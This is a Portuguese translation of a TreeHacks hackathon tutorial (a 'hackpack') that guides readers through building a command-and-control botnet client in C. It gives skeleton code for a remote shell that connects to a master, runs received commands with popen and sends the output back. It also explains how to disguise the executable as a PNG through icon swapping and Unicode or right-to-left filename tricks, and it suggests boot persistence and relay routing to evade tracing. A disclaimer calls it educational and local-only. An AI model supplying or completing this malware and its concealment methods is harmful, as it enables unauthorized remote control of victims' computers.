
Build a basic Command & Control botnet in C
Este hackpack irá guiá-lo na implementação de uma estrutura básica que caracteriza fundamentalmente um botnet. Pode ajudar se você já trabalhou com C. Se você gostou deste tutorial, não se esqueça de dar uma estrela neste repositório!
Nota: Não use nada que aprender aqui para fins malévolos. Este hackpack é exclusivamente um estudo de caso de botnets para fins educacionais. Os conceitos aprendidos neste hackpack têm casos de uso de longo alcance (basicamente tudo relacionado a redes). Mais importante, este hackpack deve ser testado e implantado localmente (então, por favor, não compartilhe nada que você construir relacionado a este hackpack com outros hackers). A privacidade é importante, então respeite-a.
Antes de construir um botnet, é importante entender o que é um botnet. Um botnet é uma rede de computadores capazes de receber comandos remotamente e implantá-los localmente. Opcionalmente, eles podem optar por retransmitir informações de volta para outros nós na rede. Eles têm sido usados para tudo, desde ataques de Negação de Serviço Distribuída até a implantação generalizada de spyware. Você pode ter ouvido falar de muitos botnets no passado. Os mais proeminentes são talvez o Mirai e o Gameover Zeus, que controlavam respectivamente 3,8 mil e 3,6 milhões de dispositivos IoT. Há muita variação entre como os botnets implementam certas tarefas. Mas, para construir nosso botnet com sucesso, precisamos garantir as seguintes funcionalidades em nossa rede de trabalho.
Nosso botnet deve:
Esta estrutura é característica do que é conhecido como botnets de Comando & Controle. Esses botnets têm um servidor mestre e muitos servidores escravos. No entanto, este estilo de botnets é antiquado e pode ser facilmente derrubado cortando o acesso ao domínio mestre. Botnets mais recentes e sofisticados seguem uma arquitetura peer-to-peer, onde os direitos de administrador são distribuídos entre todos ou um subconjunto de nós na rede. Esses botnets causam uma grande dor de cabeça para especialistas em segurança porque não há um ponto central de controle e podem crescer para milhões de nós. Derrubar esses botnets é uma leitura interessante por si só. No entanto, para os fins deste hackpack, vamos manter as coisas simples. Vamos implementar um nó escravo simples para um botnet de C&C.

Este hackpack tratará principalmente da implementação do malware cliente. Para o servidor mestre, podemos usar um servidor TCP de código aberto chamado Netcat. O Netcat não tem nada a ver com botnets. É apenas uma ferramenta conveniente e estabelecida que podemos reaproveitar para enviar pacotes de texto de e para clientes (que é tudo que um mestre realmente é). Eu ajustei ligeiramente o servidor netcat e o compilei em um binário chamado "master". Nenhum trabalho extra necessário aqui! Nosso mestre está pronto para uso.
Vamos passar para a parte mais interessante: receber e executar comandos remotos (nos preocuparemos em disfarçar nosso malware mais tarde). O objetivo aqui é tornar nosso nó escravo o mais simples possível e atender aos requisitos detalhados acima. Note que muitas constantes foram definidas em lib/macros.h, então sinta-se à vontade para usá-las. Todas as assinaturas de funções implementadas podem ser encontradas em lib/connect.h ou lib/utils.h.
Abra o arquivo bot.c. Ao iniciar um novo nó em nosso servidor, devemos provavelmente nomeá-lo para que o mestre saiba para quais clientes implantar comandos. Existem muitas convenções de nomenclatura que podem ser usadas. Usar um endereço IP é provavelmente a melhor porque é um identificador único para cada cliente. No entanto, para tornar mais legível para humanos comuns, vamos usar o nome de usuário do computador. Usando a função C getenv() com o argumento "USER" retorna o que o computador armazenou na variável de ambiente USER. Este é um lugar onde o nome de usuário do usuário é armazenado, então vamos usar isso. Além disso, agora que seu escravo está em execução, vamos encontrar o mestre. Para fazer isso, devemos saber o endereço IP do nosso mestre. Todo dispositivo de rede tem um endereço IP. Ele é responsável por identificar outros nós e endereçamento de localização. Além disso, o mestre pode ter muitos servidores rodando em portas diferentes. Então, não só temos que nos conectar ao mestre, mas também devemos especificar a porta correta. Esta porta é escolhida pelo mestre, mas pode ser alterada. Neste hackpack, queremos testar localmente. Então, usaremos seu computador como nossa rede. O endereço IP local de todo computador (para o qual "localhost" também resolve) é "127.0.0.1". No mestre, especifiquei que ele seja executado na porta 9999. Com essas três coisas (endereço IP do mestre, porta do mestre e nome do escravo), podemos iniciar um pipeline de comunicação entre o servidor e o cliente chamado socket. Passe esses três argumentos para a função init_socket() para criar um socket. init_function() não é um comando C embutido. Em vez disso, precisamos implementá-lo. Em seguida, precisamos alocar algum espaço na pilha para armazenar mensagens recebidas. Vamos ser bastante generosos aqui e usar cerca de 10KB de espaço na pilha. Chame este ponteiro de pilha de msg. Por último, há uma declaração para indicar que tudo está indo bem.
char* name = //Obter o nome de usuário do cliente e armazená-lo em name
int channel = //iniciar um canal dado SERVER, PORT e name;
//Alocar espaço na pilha de tamanho CMD_LENGTH para armazenar dados do tipo char. Chame o ponteiro de pilha de msg
printf("%s entrando no botnet\n", name);
Agora mude para lib/connect.c. Vamos implementar init_channel(). Primeiro, defini um buffer char de pilha chamado msg de comprimento CMD_LENGTH e uma construção especial de rede C chamada server que contém informações sobre nossa conexão com o mestre. Primeiro, converta seu endereço IP passado de um formato legível por humanos (com números e pontos) para um formato binário na ordem de bytes da rede. Isso é feito usando uma função especial C chamada inet_addr() da biblioteca de sockets. Ela simplesmente recebe um endereço IP e o retorna em binário utilizável pela rede. Em C, podemos facilmente especificar uma rede preenchendo os campos de uma struct chamada sockaddr_in. Nossa instância dessa struct é chamada server. Precisamos preencher 3 campos dessa struct: server.sin_addr.s_addr (o endereço IP do mestre), server.sin_family (um valor de 1 byte especificando o domínio de comunicação) e server.sin_port (a porta para a qual nos conectaremos no mestre). O sin_family pode ser definido usando macros C fornecidas pela biblioteca de sockets. Normalmente, como neste caso, definimos este campo como AF_INET. Isso significa que nossa conexão identifica nós de rede através de seus endereços IP, que é o que queremos. No entanto, também é possível usar PF_INET, que é semelhante a AF_INET, mas especifica que a rede pode usar qualquer coisa dentro do protocolo para identificar nós específicos. Há também muitas supostas razões históricas pelas quais ambos existem, mas isso é algo que realmente não sei ou me importo. Apenas use . Por último, ao definir a porta do servidor, devemos passar por uma função especial chamada (host to network short). Isso converte os dados da ordem de bytes do host para a ordem de bytes da rede. Essa confusão de ordem de bytes tem a ver com algo chamado Endianness. Você pode ler mais sobre isso .
Por último, precisamos definir a conexão real entre mestre e escravo! Para fazer isso, defina um socket de rede através do qual os dados podem ser enviados. Pense no mestre como tendo muitas 'tomadas elétricas'. Agora, precisamos construir um 'plugue' no escravo que se encaixe nas 'tomadas de parede' do mestre. Podemos fazer isso usando a função socket() da biblioteca de sockets. Que conveniente! socket() recebe 3 argumentos: domínio de comunicação, tipo de socket e um protocolo. Para o domínio de comunicação, você provavelmente já adivinhou: AF_INET. Para o tipo de socket, queremos que nosso socket seja um que simplesmente transmita dados em ambas as direções. Portanto, use a macro fornecida SOCK_STREAM. Não vamos nos preocupar com o protocolo do socket. Esta é uma rede bastante fundamental, então vamos usar um valor de 0 denotando o protocolo padrão. A função retorna um int representando o socket. Armazene este valor em channel. Em seguida, queremos dar partida no nosso socket (conectando o escravo na tomada de parede do mestre). Chame a função C connect(). Ela recebe três argumentos: o canal, a struct sockaddr e o tamanho da struct em bytes. Se connect() retornar um inteiro positivo, sua conexão com o mestre foi bem-sucedida! Para testar nossa nova conexão, vamos enviar uma saudação para o mestre! Preencha nosso buffer de mensagem e use respond() (ainda a ser implementada) para enviar msg através do canal de volta para o mestre. Finalmente, queremos que a função retorne essa conexão bem-sucedida.
int init_channel (char *ip, int port, char *name) {
char msg[CMD_LENGTH];
struct sockaddr_in server;
server.sin_addr.s_addr = //converter o ip para a ordem de bytes da rede
server.sin_family = //definir o domínio de comunicação do servidor
server.sin_port = //converter a porta para a ordem de bytes da rede
int channel = //definir um socket SOCK_STREAM
if(channel < 0) {
perror ("socket:");
exit(1);
}
int connection_status = //usar o canal definido para conectar o escravo ao servidor mestre
if (connection_status < 0) {
perror ("connect:");
exit(1);
}
//enviar uma mensagem de saudação de volta ao mestre carregando uma string em msg (dica: snprintf será útil)
respond (channel, msg);
return channel;
}
Uma vez que o escravo está conectado ao mestre, ele precisa constantemente ouvir por mensagens e agir imediatamente após um comando. Então, vamos usar um loop while infinito para receber e analisar essas mensagens. Em bot.c, abaixo da declaração printf, adicione um loop while infinito que chama duas funções: recieve() e parse() nessa ordem. Ambas as funções recebem channel e o buffer de pilha msg como argumentos. Você pode encontrar suas assinaturas de função em lib/utils.h. Isso deve parecer algo como:
Loop Infinito {
recieve(...);
parse(...);
}
Vá para utils.c para implementar recieve() e respond(). recieve() pega mensagens do canal e respond() envia mensagens de volta através do canal. Os parâmetros de respond() são o endereço do socket, s, e nosso buffer de pilha, msg_buf. Queremos usar a função C write() para escrever o que quer que o buffer de pilha contenha no canal e retornar seu status. write() precisa de 3 argumentos: endereço do socket, o buffer de mensagem e o comprimento da mensagem.
int respond(int s, char *msg_buf) {
//escrever o conteúdo de msg_buf no socket s e retornar o status
}
recieve() também é um auxiliar simples. Reinicie o buffer msg (dica: use memset()). Agora, chame a função read() da biblioteca de sockets para ler msg. read() recebe 3 argumentos: endereço do socket, buffer de mensagem e o comprimento máximo esperado da mensagem.
int recieve(int s, char *msg) {
//reiniciar o buffer msg
int read_status = //ler o conteúdo do socket s em msg
if (read_status) {
perror("log:");
exit(1);
}
return 0;
}
Quase pronto! Nosso botnet está bem chato agora. Só pode receber e transmitir mensagens através de um socket. Vamos fazê-lo realmente executar o que recebe no Terminal. Primeiro, implementamos a função parse(). Ela faz exatamente o que o nome sugere: analisa o comando. Poderíamos fazer alguma verificação de erro simples para ver se uma mensagem está mal formada. Além disso, queremos descartar silenciosamente mensagens que foram recebidas, mas não destinadas a ele. A mensagem será formatada a partir do mestre como (nome do botnet):(comando a ser executado). Eu fiz o primeiro para você. Se as duas verificações passarem, vamos passar o comando para a função execute().
int parse (int s, char *msg, char* name) {
char *target = msg;
//verificar se a msg foi destinada a este cliente. Se não, descartar silenciosamente o pacote retornando 0
char *cmd = strchr(msg, ':');
if (cmd == NULL) {
printf("Formatação incorreta. Referência: TARGET: command");
return -1;
}
//ajustar o ponteiro cmd para o início do comando real
//ajustar o caractere terminado para o final do comando
//imprimir uma declaração local detalhando qual comando foi recebido
execute (s, cmd);
return 0;
}
Agora a parte legal. execute() deve canalizar qualquer comando que recebe para o terminal e escrever qualquer saída no socket de volta para o mestre. Crie um buffer de pilha para armazenar cada linha de entrada. Em seguida, use a função C popen() para executar a entrada e armazenar a saída no arquivo f (há muitas maneiras de fazer isso neste ponto. Você pode personalizar seu botnet para fazer coisas realmente legais com a entrada do mestre e realizar algumas colaborações autônomas/atualizações com outros nós no botnet. Sinta-se à vontade para ser tão criativo quanto quiser. Vamos nos ater ao nosso objetivo básico por enquanto). Analise f linha por linha e despeje tudo através do seu socket. Feche f e pronto!
int execute (int s, char *cmd) {
FILE *f = //usar popen para executar o comando localmente
if (!f) return -1;
while (!feof (f)) {
//analisar f linha por linha e enviar qualquer saída de volta ao mestre
}
fclose(f);
return 0;
}
Compile seu novo botnet com o seguinte comando de terminal:
gcc -lcurl lib/connect.c lib/utils.c bot.c -o bin/slave
Execute bin/master em uma janela de terminal e bin/slave em outras janelas. Digite comandos como (nome de usuário do escravo):(comando remoto do terminal). Parabéns! Você acabou de construir um botnet!
Há coisas realmente legais que você pode fazer para disfarçar e implantar malware. Na verdade, é um campo inteiro por si só. Um exemplo do que você pode fazer é mascarar o malware como uma imagem. Vamos usar uma imagem de um panda. Adicionei uma função simples em utils.c que baixa uma imagem de um panda e a apresenta no Preview. Isso dá ao usuário a impressão de estar abrindo uma imagem de um panda quando, na verdade, o usuário está executando seu malware. Para adicionar isso, inclua as seguintes linhas de código em bot.c:
char* open_cmd = alias_img();
system(open_cmd);
free(open_cmd);
Em seguida, clique com o botão direito em qualquer imagem e escolha Obter Informações. Faça o mesmo com bin/slave. Arraste a miniatura da imagem sobre a miniatura executável do bin/slave. Isso deve mudar a aparência no desktop. No entanto, ainda estamos perdendo a terminação característica do arquivo .png. Renomeie seu executável para
panda⒈png
Agora, isso parece um arquivo png. No entanto, empregamos o caractere Unicode "1." em vez de "." para ocultar o fato de que isso ainda é um executável Unix. Existem muitos truques Unix mais acreditáveis que podem ser empregados, como o caractere LEFT-TO-RIGHT OVERRIDE para mascarar nomes de arquivos executáveis. Em casos mais extremos, você pode incorporar código dentro de imagens e macros de arquivos para serem executados simultaneamente quando o hospedeiro for aberto (meio como um Cavalo de Troia....). No entanto, porque ninguém no TreeHacks é um cibercriminoso, não devemos nos importar muito com essas técnicas ;).
Agora que você tem um botnet completamente funcional, existem muitas extensões com as quais você pode se desafiar. Nosso botnet ainda é bastante desinteressante. Não pode fazer muito a menos que o usuário clique nele toda vez. Aqui estão algumas sugestões:
Botnets podem verdadeiramente se tornar fontes confiáveis de atividade maliciosa para atacantes se eles de alguma forma permanecerem em um computador mesmo que o computador desligue. Tente brincar com como você pode iniciar seu escravo novamente toda vez na inicialização. Dessa forma, uma vez que um usuário clique no malware, ele infectou seu computador até que o limpe. Uma sugestão para alcançar isso é transformar seu processo executável em um daemon. Em seguida, gere um arquivo de configuração que adicione seu executável a uma lista de daemons que devem ser executados na inicialização (aplicativos de armazenamento em nuvem, plataformas de mensagens em equipe, etc. já fazem isso). Saiba mais sobre isso aqui.
Implementar uma rede peer-to-peer nada mais é do que reorganizar o design da rede. No entanto, a chave para uma rede P2P é que o administrador/atacante pode obter controle mestre através de qualquer nó na rede. Então, o atacante deve ter algum tipo de chave mestre e logon criptografado que permite controle mestre de qualquer nó. Leia mais sobre como redes peer-to-peer funcionam aqui.
A estrutura mestre-escravo que você implementou não é muito segura. Os escravos podem ser facilmente libertados matando o nó mestre. Idealmente, você mudaria para um design P2P. No entanto, você também pode aumentar ligeiramente a segurança do mestre direcionando seus comandos aleatoriamente através de uma série de bots controlados pelo atacante antes de serem implantados no botnet. Isso torna mais difícil para especialistas localizarem o centro de comando e rastrear chamadas do botnet entre nós atacantes e nós cliente.
Talvez mais importante, você queira brincar mais com redes. Nossa rede é a mais simples possível. De muitas maneiras, é extremamente fraca e definitivamente não rigorosa. Portanto, você pode querer explorar protocolos estabelecidos para redes como Internet Relay Chat (IRC) para construir uma rede mais adequada. Embora leve tempo, é extremamente educativo e um investimento que vale a pena. Leia mais sobre isso aqui: https://oramind.com/tutorial-how-to-make-an-irc-server-connection/.
Neste hackpack, usamos um projeto de código aberto disponível gratuitamente para substituir nosso servidor mestre. No entanto, existem muitas desvantagens envolvidas. Primeiro, não podemos personalizar nosso servidor mestre para enviar comandos automatizados através de nossa rede. Ele está limitado exclusivamente ao uso de entrada de linha de comando. Segundo, você pode ter notado que todos os escravos no botnet recebem todos os comandos. Nossa condição para execução é verificar se o nome do alvo corresponde ao nome do escravo. Se falso, o comando é descartado silenciosamente. Isso é conhecido como uma rede de broadcast. Algo mais ideal pode ser uma rede multicast. Em uma rede de broadcast, um nó retransmite pacotes para todos os seus nós conectados. Em um sistema multicast, um certo subconjunto de nós pode ser especificado para receber os pacotes. Além disso, usar uma rede multicast move a atribuição de comando do cliente para o servidor mestre, onde pertence. Implemente seu próprio mestre para mudar o botnet de broadcast para multicast.
Para um guia completo de programação de rede, consulte: http://beej.us/guide/bgnet/output/html/multipage/index.html.
Espero que você tenha se divertido!
MIT
HackPacks são construídos pela equipe TreeHacks para ajudar hackers a construir grandes projetos em nosso hackathon que acontece todo fevereiro em Stanford. Acreditamos que todos, independentemente do nível de habilidade, podem aprender a criar coisas incríveis, e esta é uma maneira de ajudar a facilitar a cultura hacker. Nós abrimos o código de nossos hackpacks (junto com nossa tecnologia interna) para que todos possam aprender e usá-los! Sinta-se à vontade para usá-los em seus próprios hackathons, workshops e qualquer outra coisa que promova a construção :)
Se você está interessado em participar do TreeHacks, pode se inscrever em nosso site durante o período de inscrição.
Você pode nos seguir aqui no GitHub para ver todo o trabalho de código aberto que fazemos (adoramos issues, contribuições e feedback de qualquer tipo!), e no Facebook, Twitter e Instagram para ver atualizações gerais do TreeHacks.
printfAF_INETporthtons()init_channel()